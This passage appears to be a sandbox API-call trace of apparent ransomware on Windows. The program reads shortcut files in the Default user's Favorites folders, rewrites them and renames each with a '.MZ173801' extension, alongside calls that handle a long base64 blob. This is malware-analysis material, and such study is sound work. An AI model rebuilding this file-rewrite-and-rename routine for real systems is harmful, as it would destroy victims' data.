QTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.567] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.569] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a8 [0144.569] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0144.570] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0144.570] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x85 [0144.570] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0144.570] ReadFile (in: hFile=0x2a8, lpBuffer=0x714510, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f3f8*=0x85, lpOverlapped=0x0) returned 1 [0144.571] CloseHandle (hObject=0x2a8) returned 1 [0144.571] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a8 [0144.572] WriteFile (in: hFile=0x2a8, lpBuffer=0x716540*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x716540*, lpNumberOfBytesWritten=0x18f404*=0x85, lpOverlapped=0x0) returned 1 [0144.573] CloseHandle (hObject=0x2a8) returned 1 [0144.574] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN.url.MZ173801" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn.url.mz173801")) returned 1 [0144.574] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.574] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.574] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msnbc news.url"), fInfoLevelId=0x0, lpFileInformation=0x18f438 | out: lpFileInformation=0x18f438*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0144.576] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0144.576] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0144.579] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msnbc news.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a8 [0144.579] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0144.579] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0144.579] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x85 [0144.579] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0144.579] ReadFile (in: hFile=0x2a8, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f3f8*=0x85, lpOverlapped=0x0) returned 1 [0144.580] CloseHandle (hObject=0x2a8) returned 1 [0144.581] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msnbc news.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a8 [0144.582] WriteFile (in: hFile=0x2a8, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f404*=0x85, lpOverlapped=0x0) returned 1 [0144.583] CloseHandle (hObject=0x2a8) returned 1 [0144.583] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msnbc news.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSNBC News.url.MZ173801" (normalized: "c:\\users\\default\\favorites\\msn websites\\msnbc news.url.mz173801")) returned 1 [0144.584] FindClose (in: hFindFile=0x2fc700 | out: hFindFile=0x2fc700) returned 1 [0144.584] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\*.*", lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa6fde380, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa6fde380, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fc700 [0144.584] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a8 | out: lpLocalFileTime=0x18f4a8) returned 1 [0144.584] FileTimeToDosDateTime (in: lpFileTime=0x18f4a8, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.584] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.584] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.584] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.584] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.584] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.584] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.584] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.584] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.584] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.584] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.584] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.584] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.585] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a4 | out: lpLocalFileTime=0x18f4a4) returned 1 [0144.585] FileTimeToDosDateTime (in: lpFileTime=0x18f4a4, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.585] FindClose (in: hFindFile=0x2fc700 | out: hFindFile=0x2fc700) returned 1 [0144.585] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.585] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.585] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\*.*", lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fc700 [0144.588] FileTimeToLocalFileTime (in: lpFileTime=0x18f544, lpLocalFileTime=0x18f4a8 | out: lpLocalFileTime=0x18f4a8) returned 1 [0144.588] FileTimeToDosDateTime (in: lpFileTime=0x18f4a8, lpFatDate=0x18f512, lpFatTime=0x18f510 | out: lpFatDate=0x18f512, lpFatTime=0x18f510) returned 1 [0144.588] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\default\\favorites\\windows live\\get windows live.url"), fInfoLevelId=0x0, 